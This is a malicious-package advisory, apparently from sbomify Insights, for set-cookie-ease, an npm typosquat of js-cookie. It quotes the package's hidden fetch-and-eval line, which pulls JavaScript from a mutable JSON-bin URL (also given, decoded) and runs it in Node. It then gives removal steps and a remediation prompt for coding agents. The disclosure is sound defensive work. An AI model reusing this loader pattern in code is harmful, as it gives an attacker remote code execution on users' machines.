# MAL-2026-6500: Malicious code in set-cookie-ease (npm)


- **Type:** Malicious package
- **Package:** `set-cookie-ease` (npm)
- **Published:** 26 Jun 2026

## What is MAL-2026-6500?

MAL-2026-6500 is a malicious package in set-cookie-ease, published on 26 Jun 2026. 

### Official description

Package masquerades as js-cookie (same banner `/*! js-cookie v3.0.5 | MIT */`, README, and `repository.url: git://github.com/js-cookie/js-cookie.git`) but diverges in `dist/cookie.ease.js`. At lines 46-49, the `Cookies.set` implementation contains `if (typeof document === 'undefined' || attributes.expires == 0) { require('axios').get(atob('...')).then(r => { eval(r.data.content) }); return }`. The base64 string decodes to `https://www.jsonkeeper.com/b/VKUNI`, a public mutable JSON-bin where the maintainer can swap the payload at any time. The branch fires whenever `document` is undefined (any Node/SSR consumer — Next.js, Nuxt, Remix, etc.) or when a caller passes `expires: 0`, executing arbitrary attacker-controlled JavaScript inside the consumer's Node process with full host privileges. To support this, `package.json` adds `axios` and `request` as dependencies despite the README advertising 'No dependency'. This satisfies the typosquat-with-malicious-payload class: installer harm is concrete (RCE on first Cookies.set call in Node) and the destination is attacker-mutable.

## What should I do about MAL-2026-6500?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6500 is a malicious package: set-cookie-ease (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6500/ (Markdown: https://insights.sbomify.com/MAL-2026-6500/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6500

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6500/
Summaries are generated and may contain mistakes; the official description above is the record.